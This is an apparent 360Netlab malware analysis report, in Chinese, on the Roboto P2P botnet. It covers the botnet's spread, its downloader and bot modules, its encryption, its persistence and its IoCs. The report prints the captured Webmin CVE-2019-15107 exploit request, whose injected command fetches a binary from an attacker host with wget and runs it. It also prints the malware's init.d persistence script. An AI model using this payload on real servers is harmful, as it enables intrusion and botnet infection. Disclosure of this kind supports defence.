潜伏者:Roboto Botnet 分析报告
背景介绍
2019年8月26号,360Netlab未知威胁检测系统发现一个可疑的ELF文件(4cd7bcd0960a69500aa80f32762d72bc),目前在VirusTotal上显示仅有2款杀毒引擎检测识别。通过详细分析,我们确定这是一款基于P2P通信的Bot程序,并对它保持关注。
2019年10月11号,我们通过Anglerfish蜜罐捕获到另一个可疑的ELF样本(4b98096736e94693e2dc5a1361e1a720),并且正是那个可疑的ELF样本的Downloader。这个Downloader样本会从2个硬编码的HTTP链接中下载Bot程序,其中一个下载地址把这个Bot样本伪装成Google的一个字体库“roboto.ttc”,所以我们将这个Botnet命名为Roboto。
我们已经持续关注了Roboto Botnet近3个月的时间,并在本文披露它的一些技术特征。
Roboto Botnet概览
目前,我们捕获到了Roboto Botnet的Downloader和Bot模块。根据它的传播方式和Bot样本特征,我们推测它还存在漏洞扫描模块和P2P控制模块。
我们认为Roboto Botnet虽然具备DDoS功能,但是它并不是以DDoS为主要目的。我们也还没有捕捉到它的DDoS攻击指令,虽然从逆向样本分析的角度上看到Bot支持7种功能,但是我们也还不清楚它的真实目的。
传播方式
2019年10月11号,我们通过Anglerfish蜜罐观察到51.38.200.230
通过Webmin RCE漏洞(CVE-2019-15107)传播Roboto Downloader样本4b98096736e94693e2dc5a1361e1a720
,其下载URL为http://190.114.240.194/boot
,以下为漏洞利用Payload。
POST /password_change.cgi HTTP/1.1
Host: {target}:10000
User-Agent: Go-http-client/1.1
Accept: */*
Referer: https://{target}:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
user=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26%
我们可以看到,51.38.200.230
开放了Webmin服务(TCP/10000),这跟它的扫描目标是一样的,所以我们猜测它是被Roboto Botnet感染后用来做网络扫描的。
逆向分析
Roboto Downloader 样本分析
- MD5: 4b98096736e94693e2dc5a1361e1a720
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Library: musl-libc
Roboto Downloader的主要功能是根据受害者机器的CPU架构,从指定的URL下载相应加密的Roboto Bot程序,然后解密并执行。
目前,Roboto Downloader支持i386和x86_64俩种架构
Roboto Downloader样本硬编码URL里存储着加密后的Roboto Bot程序,如图所示每组URL都有对应的解密Key和SHA256校验值
以image2.jpg为例,它的SHA256哈希值是和Roboto Downloader样本中硬编码的SHA256哈希值是一致的
解密算法如下,Key长度为8字节,每一轮会计算新的XOR Key
当不知道初始XOR Key时,利用XOR加密算法的特性,根据elf_header[0x8:0xf]值常为0的特点,可以使用如下方法解密Bot文件。
fstream file(filename, ios::binary | ios::in);
file.read((char*)fstr.data(), fsize);
file.close();
string skey(fstr, 8, 8);
reverse(skey.begin(), skey.end());
uint64_t *sskey = (uint64_t*)&skey[0];
cout << hex << "sskey= " << *sskey << endl;
fstr[0] = '\x7F';
fstr[1] = 'E';
fstr[2] = 'L';
fstr[3] = 'F';
fstr[6] = '\x01';
fstr[7] = '\x00';
fsize -= 8;
uint64_t cnt = fsize / 8;
uint8_t rmd = fsize % 8;
for (uint64_t i = 0; i < cnt; i++) {
for (int j = 0; j < 8; j++)
{
fstr[8 + i * 8 + j] ^= *((uint8_t*)sskey + 7 - j);
}
uint64_t rnda = *sskey << 13 ^ *sskey;
uint64_t rndb = rnda >> 7 ^ rnda;
uint64_t rndc = rndb << 17 ^ rndb;
*sskey = rndc;
}
for (uint8_t i = 0; i < rmd; i++)
{
fstr[8 * cnt + 8 + i] ^= *((uint8_t*)sskey + rmd - i);
}
if (fstr[42] == '\x20' && fstr[46] == '\x28')
{
fstr[4] = '\x01';
fstr[5] = '\x01';
}
if (fstr[43] == '\x20' && fstr[47] == '\x28')
{
fstr[4] = '\x01';
fstr[5] = '\x02';
}
if (fstr[54] == '\x38' && fstr[58] == '\x40')
{
fstr[4] = '\x02';
fstr[5] = '\x01';
}
if (fstr[55] == '\x38' && fstr[59] == '\x40')
{
fstr[4] = '\x02';
fstr[5] = '\x02';
}
Roboto Bot 样本分析
- MD5: d88c737b46f1dcb981b4bb06a3caf4d7
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Library: musl-libc
Roboto Bot是通过P2P协议加密通信,主要支持7种功能:反弹Shell,自卸载,获取进程网络信息,获取Bot信息,执行系统命令,运行指定URL中的加密文件,DDoS攻击等。另外它为了实现长期驻留目标系统,它会在系统上增加自启动脚本并伪装了自身的文件和进程名。
持久化
-
根据不同Linux系统发行版本,创建相应的自启动脚本
/etc/init.d/dns-clear
或者systemd-hwdb-upgrade.service
#! /bin/sh ### BEGIN INIT INFO # Provides: dns-clear # Required-Start: $local_fs $remote_fs $network # Required-Stop: $local_fs # Default-Start: 1 2 3 4 5 # Default-Stop: # Short-Description: Cleans up any mess left by 0dns-up ### END INIT INFO PATH=/sbin:/bin:/usr/sbin:/usr/bin case "$1" in start) /usr/lib/libXxf86dag.so.1.0.0 & ;; *) ;; esac exit 0
-
用于伪装的进程名
(sd-pam) /sbin/rpcbind /usr/bin/python upstart-socket-bridge /usr/sbin/irqbalance /lib/systemd/systemd-udevd /usr/libexec/postfix/master
-
用于伪装的文件名
libXxf86dag.so .node_repl_history.gz
硬编码Peer信息
Roboto Bot硬编码了4组Peer信息,其结构为IP: PORT: Curve25519_Pub Key
Peer 1:
213.159.27.5:57491
Pubkey:
8E A5 64 E2 A5 F7 73 6D 2E F2 86 D3 7B B7 86 E4
7F 0D A7 A0 77 B1 AD 24 49 5B DE D6 DB B7 E1 79
Peer 2:
186.46.45.252:52085
Pubkey:
93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D
41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
Peer 3:
95.216.17.209:57935
Pubkey:
E8 78 31 C6 55 9A 13 FC AB DB 75 9B A5 B1 D6 05
F2 3A 72 FF 04 B5 9F 7F 5A 8B 12 56 F2 CA 01 5E
Peer 4:
120.150.43.45:49252
Pubkey:
E7 30 7D 3C BC 93 4A EC ED D8 FD 9F B9 FE 93 B7
F3 53 B3 11 5D F7 C8 CA 0C F8 77 D1 34 CA 37 20
在样本4cd7bcd0960a69500aa80f32762d72bc
中的第3个Peer做了以下修改。
Peer 3:
66.113.179.13:33543
Pubkey:
B3 E5 B3 D6 E6 DE 7C 7D 79 40 A5 4F D9 B0 AC 7B
2D C6 CE 69 EF F3 C4 58 F2 98 A8 92 DF 92 9E 0E
加密校验
Roboto Bot使用了Curve25519,TEA,HMAC-SHA256等算法来实现数据的加密及有效性验证,这一手段在cfg文件及数据报文的生成中大量使用。
Curve25519_PrivateKey通过/dev/urandom生成。
cfg文件
Roboto Bot会根据运行权限的不同,将生成的cfg文件存储在不同的文件位置。
$home/.config/trolltech.conf //以普通用户权限运行
/etc/iproute2/rt_ksfield //以root用户权限运行
cfg文件中存有私钥,加密数据,以及加密数据的HMAC-SHA256值,每小时更新一次,加密数据由Peer和Port信息组成,其结构为peer:length:data,pcfg:length:data。
前0x20字节,Curve25519私钥
68 F4 83 18 2C F2 80 3D D1 B3 FF 68 FB 35 3D E8
E6 C8 DB 0B 8E FC 73 7C 01 B3 6F 3F 1C 89 38 63
最后0x20字节,加密数据(0x20-0x165)的hmac-sha256值
1B 64 C4 FD 65 C0 95 9B 6F B1 D7 C1 75 31 DA 5A
01 EC E1 52 06 25 E9 7D A1 9B 57 E5 CA 67 2B D6
参照前文加密校验流程,
1. 生成PublicKey:
52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8
3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24
2. 使用后16字节,每个DWORD逆序,做为TEA的加密Key:
58 51 A4 3F 6F F5 53 EF 8E 01 99 28 24 4A 2C 62
3. 使用上一步Key加密常量明文,得到XOR Key:
第一轮: ED 16 FB 00 46 4F 94 99
4. XOR解密,每8字节,重复步骤4,更新XOR Key:
密文: 9D 73 9E 72 76 4E DE 99
明文: peer\x30\x01\x4a\x00\x00
因此,我们知道Peer共有0x130字节信息,依此类推可解出密文(8E 3C 1F 93 B1 C9)的明文为(pcfg\x04\x00)。
P2P 控制模块
Roboto Bot可以通过Unix域套接字进行控制,绑定的路径为/tmp/.cs
我们在Roboto Bot样本中没有发现设置环境变量“CS”的相关代码,因此我们推测它存在Roboto P2P控制模块。它会启动一个进程,同时设置环境变了“CS”,并通过Unix域套接字控制Roboto Bot模块,此时,这个P2P节点就是Roboto Botnet的P2P网络中的控制节点。
我们通过Roboto Bot模块可以反推P2P控制模块的相关功能,当然这些函数名字就很直观。
我们通过劫持Roboto Bot程序,测试了部分控制指令,以下是一些测试效果。
info
指令,会显示硬编码的信息和公钥信息,其中v17
疑似程序版本号。peers
指令,会显示Roboto Bot当前连接的P2P节点信息
Bot 功能
/proc/%s/exe
/proc/%s/cmdline
/proc/net/tcp
/proc/net/udp
crontab
P2P 通信协议
Roboto Bot在P2P通信协议的基础上,使用了Curve25519,TEA,HMAC-SHA256等算法,保障数据的完整性和安全性,其加密的Key来源于Bot和C2信息中的公钥所产生的Curve25519_SharedKey。数据包的格式为index(4 bytes):type(1 byte):data:hmac-sha256[0:0xf],所以大于21字节的数据包是包含有效信息的。
P2P 节点发现数据校验
请求包的长度为固定的69字节,数据并未被加密,内容为目标Peer的公钥和Bot的公钥。Peer在收到Bot的请求包后,若与自身的公钥一致就会与Bot建立连接,然后通过公钥计算出SharedKey,在随后通信的过程中,带有效信息的报文(长度大于21字节)都会被加密。
P2P 节点发现数据解密
以本地运行的Roboto Bot样本和硬编码的Peer(186.46.45.252)的通信,并获得新的Peer节点87.249.15.18:63104为例。
Bot发包,69个字节
index: 00 00 00 00
type: 2
data:
0-31: C2 Curve25519_PublicKey
93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D
41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
32-63: Bot Curve25519_PublicKey
52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8
3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24
Peer回包,60个字节,
index: 00 00 00 00
type: 00
data:
cmdtype:
4f
ip:port
44 be 1c 18 da 42
PublibcKey:
7e 42 89 b6 36 5f 73 10 88 ea 60 36 b9 ca 89 25
3e 3e e3 2f 7e b6 d6 08 9e 96 89 25 68 a0 9f 7f
Hmac-sha256[0:0xf]
b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e
模拟解密校验流程
1. Bot的私钥和Peer的公钥生成共享密钥
SharedKey:
28 EC 2D A8 63 F3 2D 39 8F 1C 03 96 32 AE F2 D8
B8 D1 9E 6C ED BD AC 2C BE D6 CF 60 83 C9 D6 1D
2. 使用数据HMAC-SHA256值的前16字节校验数据
HMAC-SHA256[0:0XF]=
b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e
3. 使用共享密钥前16字节,每个DWORD逆序,做为TEA的加密key:
A8 2D EC 28 39 2D F3 63 96 03 1C 8F D8 F2 AE 32
4. 使用上一步key加密常量明文,得到xor key:
第1轮: 4E 13 47 13 0A 2C C2 6A
第2轮: B0 68 BD EB 9B 29 10 23
第3轮: AD B4 3D 34 40 C0 3D FC
第4轮: 31 1E 6B F0 EA D5 8E 65
第5轮: D1 1C 42 58 2A 0C 7D A4
5. XOR解密,每8字节,重复步骤4,更新xor key,最终得到明文
cmdtype:
01
ip:port:
57 F9 0F 12 :F6 80 (87.249.15.18:63104)
PublicKey:
14 F2 E1 0B DD C4 5A 00 AB 47 D4 0B 8D 8A 49 18
C2 0F FD 44 8E 5C 03 86 FB 47 95 67 30 8A 93 02
从以下网络数据包中,我们可以看到87.249.15.18:63104
正是我们计算出的新节点。
攻击指令验签
在P2P网络中,节点是不可信的,任何人都能够以极低成本的伪造一个Roboto节点。为保证Roboto网络的完全可控,不被他人窃取,Roboto需要对每一个攻击指令做签名验签,只有能够通过签名验签的攻击消息才能被Roboto节点接受,并执行。
Roboto采用的验签方法为ED25519,这是一个公开的数字签名算法。与此同时,验签公钥为:60FF4A4203433AA2333A008C1B305CD80846834B9BE4BBA274F873831F04DF1C
,该公钥被集成到了每一个Roboto Bot样本中。
处置建议
我们建议Webmin用户根据Roboto Botnet创建的进程,文件名以及UDP网络连接特征,判断是否被感染,然后清理Roboto Botnet的进程和文件。
我们建议读者对Roboto Botnet相关IP,URL和域名进行监控和封锁。
联系我们
感兴趣的读者,可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC list
样本MD5
4b98096736e94693e2dc5a1361e1a720
4cd7bcd0960a69500aa80f32762d72bc
d88c737b46f1dcb981b4bb06a3caf4d7
加密后的Roboto Bot程序MD5
image.jpg de14c4345354720effd0710c099068e7
image2.jpg 69e1cccaa072aedc6a9fd9739e2cdf90
roboto.ttc f47593cceec08751edbc0e9c56cad6ee
roboto.ttf 3020c2a8351c35530ab698e298a5735c
URL
http://190.114.240.194/boot
http://citilink.dev6.ru/css/roboto.ttc
http://citilink.dev6.ru/css/roboto.ttf
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg
硬编码Peer IP
95.216.17.209 Finland ASN 24940 Hetzner Online GmbH
213.159.27.5 Italy ASN 201474 Aircom Service srl
186.46.45.252 Ecuador ASN 28006 CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
120.150.43.45 Australia ASN 1221 Telstra Corporation Ltd
66.113.179.13 United States ASN 14280 NetNation Communications Inc